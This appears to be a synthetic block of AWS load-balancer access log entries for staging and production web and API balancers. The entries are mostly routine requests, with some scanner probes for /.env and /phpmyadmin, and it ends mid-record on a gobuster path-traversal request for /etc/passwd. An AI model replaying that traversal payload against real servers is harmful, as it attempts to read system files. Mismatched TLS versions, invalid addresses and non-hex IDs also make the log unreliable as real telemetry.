2024-11-01T00:57:16.074404Z staging-alb 168.103.133.1:53810 208.136.164.31:443 0.103874 0.015932 0.046836 200 200 434 1681 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c4fc-a43eeaecc2ee4e378d9fe0b6" "staging-alb.example.com" "-" 4 2024-11-01T00:57:16.074404Z "forward" "-" "-" "208.136.164.31:443" "200" "-" "-" -https 2024-11-01T00:57:16.863395Z prod-api-alb 16.199.196.100:35925 10.0.98.79:443 0.013189 0.122111 0.014889 200 200 65 2026 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c4fc-bdf1be18a34e46709cf6008a" "prod-api-alb.example.com" "-" 6 2024-11-01T00:57:16.863395Z "forward" "-" "-" "10.0.98.79:443" "200" "-" "-" -https 2024-11-01T00:57:17.235891Z prod-api-alb 150.62.207.131:50858 10.0.90.54:443 0.095125 0.318692 0.024963 200 200 517 10471 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c4fd-4aad8e872df04857aca05d73" "prod-api-alb.example.com" "-" 1 2024-11-01T00:57:17.235891Z "forward" "-" "-" "10.0.90.54:443" "200" "-" "-" -https 2024-11-01T00:57:18.571905Z prod-web-alb 102.134.74.218:46219 10.0.164.63:443 0.010476 0.035562 0.010243 200 200 159 1586 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c4fe-e55718e9bfde4363b0bee871" "prod-web-alb.example.com" "-" 9 2024-11-01T00:57:18.571905Z "forward" "-" "-" "10.0.164.63:443" "200" "-" "-" -https 2024-11-01T00:57:18.745551Z prod-api-alb 33.12.76.102:37639 10.0.247.145:443 0.096341 0.101540 0.079022 200 200 424 657 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c4fe-714c3a28d9b94a549e16f795" "prod-api-alb.example.com" "-" 7 2024-11-01T00:57:18.745551Z "forward" "-" "-" "10.0.247.145:443" "200" "-" "-" -https 2024-11-01T00:57:20.179206Z prod-api-alb 192.185.147.17:17392 10.0.224.143:443 0.093504 0.006139 0.031159 302 302 476 9672 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c500-e43a7e007791486d85ef60ff" "prod-api-alb.example.com" "-" 8 2024-11-01T00:57:20.179206Z "forward" "-" "-" "10.0.224.143:443" "302" "-" "-" -https 2024-11-01T00:57:20.595944Z prod-web-alb 111.33.255.106:41186 10.0.242.225:443 0.004812 0.263454 0.018320 200 200 76 14485 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c500-146bcc85a4a84511b56dd4e0" "prod-web-alb.example.com" "-" 9 2024-11-01T00:57:20.595944Z "forward" "-" "-" "10.0.242.225:443" "200" "-" "-" -https 2024-11-01T00:57:21.799890Z prod-api-alb 185.181.166.125:53686 10.0.141.223:443 0.077016 0.018628 0.078765 401 401 832 2563 "POST /.env HTTP/1.1" "Qualys SSL Assessment Scanner" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c501-f160d5c49e604cc8b742c707" "-" "-" 5 2024-11-01T00:57:21.799890Z "forward" "-" "-" "10.0.141.223:443" "401" "-" "-" -https 2024-11-01T00:57:22.176241Z staging-alb 69.83.59.243:16708 246.127.147.107:8080 0.110653 0.688951 0.017565 200 200 670 7842 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c502-1338ba0e318147e980620f5b" "staging-alb.example.com" "-" 1 2024-11-01T00:57:22.176241Z "forward" "-" "-" "246.127.147.107:8080" "200" "-" "-" -https 2024-11-01T00:57:23.104418Z staging-alb 145.184.14.32:59584 102.166.113.124:8080 0.078748 0.281853 0.119244 200 200 224 10299 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c503-93bd1d9d95bd4ea19d66468a" "staging-alb.example.com" "-" 5 2024-11-01T00:57:23.104418Z "forward" "-" "-" "102.166.113.124:8080" "200" "-" "-" -https 2024-11-01T00:57:24.208885Z prod-web-alb 193.27.228.75:64013 10.0.81.93:443 0.020409 0.309725 0.085112 302 302 338 11699 "POST /phpmyadmin HTTP/1.1" "" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c504-fd21d0148e134ccb92b5afdc" "-" "-" 6 2024-11-01T00:57:24.208885Z "forward" "-" "-" "10.0.81.93:443" "302" "-" "-" -http 2024-11-01T00:57:24.920435Z staging-alb 180.145.213.54:41043 133.121.146.143:8080 0.102108 0.578108 0.145318 200 200 202 5880 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c504-e3a1cba93e9a4eaf83ada69e" "staging-alb.example.com" "-" 5 2024-11-01T00:57:24.920435Z "forward" "-" "-" "133.121.146.143:8080" "200" "-" "-" -https 2024-11-01T00:57:25.460018Z prod-web-alb 17.17.43.153:15017 10.0.151.153:443 0.022763 0.437340 0.076449 301 301 271 6379 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c505-e1f4fed8692f48ecb657563a" "prod-web-alb.example.com" "-" 8 2024-11-01T00:57:25.460018Z "forward" "-" "-" "10.0.151.153:443" "301" "-" "-" -https 2024-11-01T00:57:26.801636Z prod-web-alb 211.98.207.32:31162 10.0.87.200:443 0.032294 0.281922 0.014978 302 302 301 14414 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c506-df63d50948a4491c9a18c6d9" "prod-web-alb.example.com" "-" 3 2024-11-01T00:57:26.801636Z "forward" "-" "-" "10.0.87.200:443" "302" "-" "-" -https 2024-11-01T00:57:28.004702Z staging-alb 163.164.11.211:61968 125.74.180.134:8080 0.071386 0.273783 0.144103 200 200 676 2644 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c508-9c161264ae764e5d93604f81" "staging-alb.example.com" "-" 10 2024-11-01T00:57:28.004702Z "forward" "-" "-" "125.74.180.134:8080" "200" "-" "-" -https 2024-11-01T00:57:29.446323Z prod-web-alb 52.224.23.46:23446 10.0.36.14:443 0.021502 0.248920 0.088977 200 200 787 6458 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c509-e9d6e90453b64516b3ee8436" "prod-web-alb.example.com" "-" 2 2024-11-01T00:57:29.446323Z "forward" "-" "-" "10.0.36.14:443" "200" "-" "-" -https 2024-11-01T00:57:30.003857Z prod-api-alb 60.239.206.124:23951 10.0.137.232:443 0.041427 0.415561 0.018319 200 200 507 13091 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c50a-b5a45ece58d9446e8c354215" "prod-api-alb.example.com" "-" 1 2024-11-01T00:57:30.003857Z "forward" "-" "-" "10.0.137.232:443" "200" "-" "-" -https 2024-11-01T00:57:31.493269Z prod-api-alb 38.75.154.229:48705 10.0.193.134:443 0.031493 0.204576 0.098558 200 200 999 1411 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c50b-2b1b578532244151a74ca3ce" "prod-api-alb.example.com" "-" 1 2024-11-01T00:57:31.493269Z "forward" "-" "-" "10.0.193.134:443" "200" "-" "-" -https 2024-11-01T00:57:33.235241Z prod-web-alb 14.12.196.142:56540 10.0.235.175:443 0.082532 0.328318 0.049035 404 404 90 13461 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c50d-938594dd9a0a432d844b13af" "prod-web-alb.example.com" "-" 7 2024-11-01T00:57:33.235241Z "forward" "-" "-" "10.0.235.175:443" "404" "-" "-" -https 2024-11-01T00:57:34.790807Z prod-web-alb 65.44.142.188:27828 10.0.144.171:443 0.087107 0.035343 0.024541 302 302 898 13671 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c50e-e1fdf22e9b9745a4af2b5e6b" "prod-web-alb.example.com" "-" 3 2024-11-01T00:57:34.790807Z "forward" "-" "-" "10.0.144.171:443" "302" "-" "-" -https 2024-11-01T00:57:35.380493Z prod-api-alb 124.228.23.162:41739 10.0.183.84:443 0.022168 0.415836 0.065414 200 200 643 14943 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c50f-b90301bfb259429f94fbe872" "prod-api-alb.example.com" "-" 2 2024-11-01T00:57:35.380493Z "forward" "-" "-" "10.0.183.84:443" "200" "-" "-" -https 2024-11-01T00:57:37.269718Z prod-web-alb 54.241.153.45:45183 10.0.28.234:443 0.015700 0.395760 0.073021 200 200 825 11763 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c511-218110592c884807accd4b0e" "prod-web-alb.example.com" "-" 10 2024-11-01T00:57:37.269718Z "forward" "-" "-" "10.0.28.234:443" "200" "-" "-" -https 2024-11-01T00:57:37.656823Z prod-web-alb 201.192.78.240:23657 10.0.113.237:443 0.044902 0.186962 0.004583 200 200 136 14709 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c511-129791b310e2407db674fee6" "-" "-" 6 2024-11-01T00:57:37.656823Z "forward" "-" "-" "10.0.113.237:443" "200" "-" "-" -http 2024-11-01T00:57:38.741404Z staging-alb 160.214.0.47:23648 210.60.202.73:443 0.025599 0.528904 0.045904 301 301 770 9487 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c512-c8a9cec4023343aca066f303" "staging-alb.example.com" "-" 6 2024-11-01T00:57:38.741404Z "forward" "-" "-" "210.60.202.73:443" "301" "-" "-" -https 2024-11-01T00:57:40.075411Z prod-api-alb 22.229.127.99:55711 10.0.230.175:443 0.040869 0.233409 0.047300 404 404 826 2786 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c514-bde76c03ac9e4001aa1d6ef2" "prod-api-alb.example.com" "-" 3 2024-11-01T00:57:40.075411Z "forward" "-" "-" "10.0.230.175:443" "404" "-" "-" -https 2024-11-01T00:57:40.603945Z staging-alb 27.88.46.243:23402 226.72.15.187:8080 0.069620 0.538576 0.083246 404 404 800 7870 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c514-e2db2dd153344b01919240d1" "staging-alb.example.com" "-" 8 2024-11-01T00:57:40.603945Z "forward" "-" "-" "226.72.15.187:8080" "404" "-" "-" -https 2024-11-01T00:57:42.422913Z prod-api-alb 72.152.131.132:25593 10.0.235.235:443 0.037792 0.208568 0.084628 301 301 378 637 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c516-f971c4ec0def42e2bc7960c0" "prod-api-alb.example.com" "-" 8 2024-11-01T00:57:42.422913Z "forward" "-" "-" "10.0.235.235:443" "301" "-" "-" -https 2024-11-01T00:57:43.729008Z prod-api-alb 12.62.138.198:34261 10.0.211.63:443 0.007667 0.482907 0.087616 200 200 571 9922 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c517-c91e6cd6b3214c62a3af6d61" "prod-api-alb.example.com" "-" 6 2024-11-01T00:57:43.729008Z "forward" "-" "-" "10.0.211.63:443" "200" "-" "-" -https 2024-11-01T00:57:45.388362Z prod-web-alb 224.197.160.227:39836 10.0.154.107:443 0.040031 0.210220 0.052896 200 200 733 10361 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c519-4feefc046c9546ff934943c0" "prod-web-alb.example.com" "-" 5 2024-11-01T00:57:45.388362Z "forward" "-" "-" "10.0.154.107:443" "200" "-" "-" -https 2024-11-01T00:57:47.081815Z prod-api-alb 234.64.179.210:47357 10.0.11.2:443 0.037902 0.375622 0.014256 404 404 502 3158 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c51b-c8a9b7f499184a76ac0605d8" "prod-api-alb.example.com" "-" 9 2024-11-01T00:57:47.081815Z "forward" "-" "-" "10.0.11.2:443" "404" "-" "-" -https 2024-11-01T00:57:48.779385Z staging-alb 105.29.22.163:16411 235.182.207.108:80 0.135433 0.120834 0.132298 200 200 796 12756 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c51c-28a524b519b94298b69c4e4b" "staging-alb.example.com" "-" 4 2024-11-01T00:57:48.779385Z "forward" "-" "-" "235.182.207.108:80" "200" "-" "-" -https 2024-11-01T00:57:49.572965Z prod-api-alb 52.161.74.161:57246 10.0.249.22:443 0.020767 0.170002 0.016833 404 404 520 2118 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c51d-f85964de31b44436b6da3237" "prod-api-alb.example.com" "-" 3 2024-11-01T00:57:49.572965Z "forward" "-" "-" "10.0.249.22:443" "404" "-" "-" -https 2024-11-01T00:57:51.041049Z prod-web-alb 255.231.248.155:12313 10.0.171.95:443 0.013735 0.365359 0.098650 200 200 113 11257 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c51f-c2036dece60f4f99aab634dc" "prod-web-alb.example.com" "-" 6 2024-11-01T00:57:51.041049Z "forward" "-" "-" "10.0.171.95:443" "200" "-" "-" -https 2024-11-01T00:57:52.486506Z staging-alb 187.184.203.21:59645 25.38.161.196:80 0.052326 0.069741 0.103299 404 404 806 9284 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c520-a347b2e1316846beb2a954d3" "staging-alb.example.com" "-" 10 2024-11-01T00:57:52.486506Z "forward" "-" "-" "25.38.161.196:80" "404" "-" "-" -http 2024-11-01T00:57:53.027788Z staging-alb 185.168.175.252:54842 8.245.201.255:80 0.017223 0.482652 0.137122 200 200 355 5179 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c521-579989e612ed4bea8fe112c0" "staging-alb.example.com" "-" 9 2024-11-01T00:57:53.027788Z "forward" "-" "-" "8.245.201.255:80" "200" "-" "-" -https 2024-11-01T00:57:53.836417Z prod-web-alb 224.158.214.161:36897 10.0.224.181:443 0.078538 0.428744 0.068378 200 200 555 8918 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c521-176419587a494d23ae48a900" "prod-web-alb.example.com" "-" 5 2024-11-01T00:57:53.836417Z "forward" "-" "-" "10.0.224.181:443" "200" "-" "-" -https 2024-11-01T00:57:54.412554Z staging-alb 133.71.53.186:11197 86.112.200.185:443 0.002048 0.170530 0.103473 404 404 330 301 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c522-403d0439ee434fbc99cab25a" "staging-alb.example.com" "-" 3 2024-11-01T00:57:54.412554Z "forward" "-" "-" "86.112.200.185:443" "404" "-" "-" -http 2024-11-01T00:57:55.069154Z staging-alb 69.163.174.98:46345 248.214.166.166:443 0.133707 0.593171 0.109732 301 301 993 7493 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c523-7256a598c9994d6bad2b3d73" "staging-alb.example.com" "-" 8 2024-11-01T00:57:55.069154Z "forward" "-" "-" "248.214.166.166:443" "301" "-" "-" -https 2024-11-01T00:57:56.706647Z prod-web-alb 236.0.159.52:25590 10.0.154.191:443 0.067627 0.044697 0.082621 200 200 810 6032 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c524-23055fe27e9e49df80adf6ff" "prod-web-alb.example.com" "-" 0 2024-11-01T00:57:56.706647Z "forward" "-" "-" "10.0.154.191:443" "200" "-" "-" -https 2024-11-01T00:57:57.214521Z prod-web-alb 104.177.17.36:57488 10.0.60.110:443 0.037372 0.437332 0.038214 200 200 630 2574 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c525-6681b5cd0aa1428d9c305e6a" "prod-web-alb.example.com" "-" 9 2024-11-01T00:57:57.214521Z "forward" "-" "-" "10.0.60.110:443" "200" "-" "-" -http 2024-11-01T00:57:58.446926Z staging-alb 230.248.207.169:11404 84.45.37.162:443 0.080112 0.132579 0.067360 404 404 991 13679 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c526-9522f24c32f7408d8e9f93aa" "staging-alb.example.com" "-" 7 2024-11-01T00:57:58.446926Z "forward" "-" "-" "84.45.37.162:443" "404" "-" "-" -https 2024-11-01T00:57:58.580727Z prod-web-alb 227.152.147.83:41012 10.0.5.151:443 0.014907 0.357449 0.061976 404 404 132 9112 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c526-d2024cbf7d9c4ad7bfdf7d71" "prod-web-alb.example.com" "-" 5 2024-11-01T00:57:58.580727Z "forward" "-" "-" "10.0.5.151:443" "404" "-" "-" -https 2024-11-01T00:57:58.850694Z prod-api-alb 138.166.20.201:37754 10.0.92.246:443 0.005842 0.113915 0.075213 404 404 611 4159 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c526-9600492b18334dd8a1b9afe3" "prod-api-alb.example.com" "-" 6 2024-11-01T00:57:58.850694Z "forward" "-" "-" "10.0.92.246:443" "404" "-" "-" -https 2024-11-01T00:57:59.147557Z prod-web-alb 6.2.75.176:28926 10.0.47.181:443 0.091444 0.100530 0.052829 301 301 179 12107 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c527-005f553e82d2483482f6d910" "prod-web-alb.example.com" "-" 1 2024-11-01T00:57:59.147557Z "forward" "-" "-" "10.0.47.181:443" "301" "-" "-" -https 2024-11-01T00:58:00.602422Z prod-api-alb 84.94.35.8:15702 10.0.197.128:443 0.039004 0.226672 0.076837 404 404 798 11648 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c528-0a9f7b820d2a4af1bc2f8f6b" "prod-api-alb.example.com" "-" 4 2024-11-01T00:58:00.602422Z "forward" "-" "-" "10.0.197.128:443" "404" "-" "-" -https 2024-11-01T00:58:02.412953Z prod-api-alb 91.143.173.77:33738 10.0.172.207:443 0.064774 0.252383 0.065367 301 301 363 7035 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c52a-be5876a235cd4eaca0734f65" "prod-api-alb.example.com" "-" 7 2024-11-01T00:58:02.412953Z "forward" "-" "-" "10.0.172.207:443" "301" "-" "-" -https 2024-11-01T00:58:03.861813Z prod-web-alb 99.112.126.255:12720 10.0.26.249:443 0.012557 0.170862 0.099474 200 200 306 10096 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c52b-a6f0f55da3974273ab430b75" "-" "-" 0 2024-11-01T00:58:03.861813Z "forward" "-" "-" "10.0.26.249:443" "200" "-" "-" -https 2024-11-01T00:58:04.042714Z prod-web-alb 45.155.205.185:32865 10.0.113.138:443 0.037659 0.431120 0.001630 404 404 799 6340 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "gobuster/3.5" TLS_AES_128_GCM_SHA256 TLSv1.3 